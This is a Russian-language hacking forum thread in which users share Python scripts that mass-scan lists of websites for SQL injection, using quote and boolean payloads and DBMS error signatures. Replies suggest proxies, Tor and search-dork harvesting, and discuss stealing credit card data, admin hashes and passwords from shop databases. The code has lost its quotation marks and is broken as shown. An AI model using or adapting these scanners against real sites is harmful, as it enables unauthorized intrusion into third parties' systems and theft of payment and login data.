Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

[Python] Простенький чекер на SQL INJ

Тема в разделе "Хакинг. Программирование", создана пользователем Caligula, 16 июл 2016.

  1. Caligula

    Caligula Member

    Сообщения:
    57
    Симпатии:
    0
    Code:
    import os
    import sys
    import urllib

    def log_crt(name, text):
    if os.path.exists(name):
    open(name, a+).write(text)
    return True
    else:
    return False

    def sites(name, id):
    if os.path.exists(name):
    text = open(name, r).readlines()
    return text[id]
    else:
    sys.exit(1)

    print([!] SQL Inj checker)
    if __name__ == __main__:
    if sys.argv[1] != and sys.argv[2] != :
    for i in range(0, len(open(sys.argv[1], r).readlines())):
    site = sites(sys.argv[1], i)
    try:
    html = urllib.urlopen(site + ).read()
    if SQL in html or syntax in html or Warning in html:
    log_crt(sys.argv[2], site)
    print([33[1;32mGOOD33[1;m] + site)
    else:
    print([33[1;31mERROR33[1;m] + site)
    except:
    pass
    print([33[1;32mDellete repeat domains33[1;m])

    for i in range(0, len(open(sys.argv[2], r).readlines())):
    domain = sites(sys.argv[2], i).replace(http://, ).split(/)
    for j in range(0, len(open(sys.argv[2], r).readlines())):
    dell_domain = sites(sys.argv[2], i).replace(http://, ).split(/)
    if(dell_domain[0] == domain[0]):
    f = open(sys.argv[2]).read()
    f.replace(sites(sys.argv[2], j), )
    print([33[1;32mDone33[1;m])
    else:
    print(Error!)​

    Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_результатов.txt
  2. Nelson

    Nelson Member

    Сообщения:
    114
    Симпатии:
    0
    Добавь многопоток и работу через прокси.
    И таких не найдешь на просторах даркнета.

    +++
  3. putin4life

    putin4life New Member

    Сообщения:
    8
    Симпатии:
    0
    Можно на примую брать IP из ТОR и тогда даже прокси не нужен
  4. Caligula

    Caligula Member

    Сообщения:
    57
    Симпатии:
    0
    Есть в мыслях сделать универсальную штуку. Типа закинул дорки, скрипт будет парсить выдачу и сразу чекать на инъекции
  5. sakura

    sakura New Member

    Сообщения:
    4
    Симпатии:
    0
    пишет что есть повторный домен, удалите его. но повторных нет)
  6. zloy_santa

    zloy_santa Member

    Сообщения:
    77
    Симпатии:
    0
    прикольно, автору респект!!!!!
  7. ToniWhite

    ToniWhite Member

    Сообщения:
    45
    Симпатии:
    0
    я думал шопы уже не хранят СС в БД... неужели тема жива?
  8. look2009

    look2009 New Member

    Сообщения:
    11
    Симпатии:
    0
    В БД есть много чего интересного кроме CC...
  9. ToniWhite

    ToniWhite Member

    Сообщения:
    45
    Симпатии:
    0
    админка в хэш виде, и куча логов и пассов... вроде все?
  10. SmashedPumpkin

    SmashedPumpkin New Member

    Сообщения:
    1
    Симпатии:
    0
    nikto 2.1.6-1
    A web server scanner which performs comprehensive tests against web servers for multiple items :(
    sqlmap 1.0.7-1
    Automatic SQL injection and database takeover tool

    win - acunetix, havij

    Добавлено через 2 минуты 39 секунд
    Что означает админка в хэш виде? Как может быть код в хэш виде? Хэширование - не обратимое шифрование, и его применяют часто только к паролям.

    Добавлено через 16 секунд
    Что означает админка в хэш виде? Как может быть код в хэш виде? Хэширование - не обратимое шифрование, и его применяют часто только к паролям.

    Добавлено через 3 минуты 52 секунды
    ни хера сигнатурка
    Code:
    if SQL in html or syntax in html or Warning in html:​

    и слово
    казнить нельзя помиловать
  11. albaniri

    albaniri New Member

    Сообщения:
    25
    Симпатии:
    1
    Уже есть. Web надстройка под sql map. Хоть лучше sqlmapa я лучше еще не видел - само стремление писать и делать самому достойно уважения
  12. Caligula

    Caligula Member

    Сообщения:
    57
    Симпатии:
    0
    Чуваки, я грубо говоря просто хотел сделать хоть мизерный, но вклад в этот ресурс. Вот и написал за несколько минут данный чекер. А так, скоро готовится еще один проект, но уже другого масштаба
  13. kjuby

    kjuby New Member

    Сообщения:
    1
    Симпатии:
    0
    Как то тоже писал подобный скрипт для чека SQL Injection, чекает по ключевым словам(Mysql, MSSQL, PostgreSQL и.т.д....) и сравнивает процент сходства страниц - это для того если нет прямого вывода на страницу, пожалуй тоже выложу сюда, писал давно когда начинал учить python внешни вид кода оставляет желать лутшего )
    Code:
    #!/usr/bin/env python3.5

    import itertools, warnings, difflib, argparse, requests, hashlib, sys, re
    from requests.packages import urllib3

    urllib3.disable_warnings()
    headers = {user-agent: Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+}
    PROXY = None
    BOOLEAN_CHECK = /**/AND/**/123=123
    BOOLEAN_TEST = /**/AND/**/123=125

    TIMEOUT = 5
    DBMS_SIGN = re.compile(rSQL syntax.*MySQL|Warning.*mysql_.*|SQL syntax|mysql_num_rows|mysql_fetch_array|Driver.* SQL[-\_ ]*Server|OLE DB.* SQL Server|Warning.*mssql_.*|Microsoft Access Driver|Access Database Engine|Server Error in|PostgreSQL.*ERROR|Npgsql.|valid PostgreSQL result|Oracle error|Oracle.*Driver|Warning.*Woci_.*|CLI Driver.*DB2|DB2 SQL error|SQLite/JDBCDriver|SQLite.Exception|Warning.*sqlite_.*|(?i)Warning.*sybase.*|Sybase message)
    HTML_CLEAN = re.compile(r(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|s+)
    TARGET_PARAM = re.compile(r(=[a-zA-Z0-9]*))
    REDIRECT = False
    VERSION = 0.1
    COEFFICENT = 0.95

    parser = argparse.ArgumentParser(description=SQL injection check tools v+str(VERSION))
    parser.add_argument(-l, dest=list, help=Choose link list, type=argparse.FileType(), required=True)
    args = parser.parse_args()

    try:
    for link in args.list:
    prefix = link.find(http)
    if prefix != 0:
    link = http://+link
    else:
    None

    def page_source_text(sql_link):
    try:
    sql_link = requests.get(sql_link, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=REDIRECT)
    page_text = sql_link.text
    page_code = sql_link.status_code
    page_text = HTML_CLEAN.sub( , page_text)
    return page_text, page_code
    except requests.exceptions.RequestException:
    return sql_link

    def boolean_test_sql(link):
    bool_targ = TARGET_PARAM.sub(r1+BOOLEAN_CHECK, link)
    bool_targ2 = TARGET_PARAM.sub(r1+BOOLEAN_TEST, link)
    original_targ = page_source_text(link)
    bool_targ = page_source_text(bool_targ)
    bool_targ2 = page_source_text(bool_targ2)
    http_code = original_targ[1]
    vulns = difflib.SequenceMatcher(None, original_targ[0], bool_targ[0]).quick_ratio()
    vulns1 = difflib.SequenceMatcher(None, original_targ[0], bool_targ2[0]).quick_ratio()
    if http_code == 200 or http_code == 500:
    if vulns >= COEFFICENT and vulns1 <= COEFFICENT:
    print ( [ + ] ,link)
    sql_target = TARGET_PARAM.sub(r1+, link)
    union_target = page_source_text(sql_target)
    sql_text = union_target[0]
    req_code_sql = union_target[1]
    if req_code_sql == 200 or req_code_sql == 500:
    dbms_error = DBMS_SIGN.search(sql_text) is not None
    if dbms_error != 0:
    print ( [ + ] ,link)
    else:
    boolean_test_sql(link)

    except KeyboardInterrupt:
    print ( [x] Ctrl-C pressed)​

Поделиться этой страницей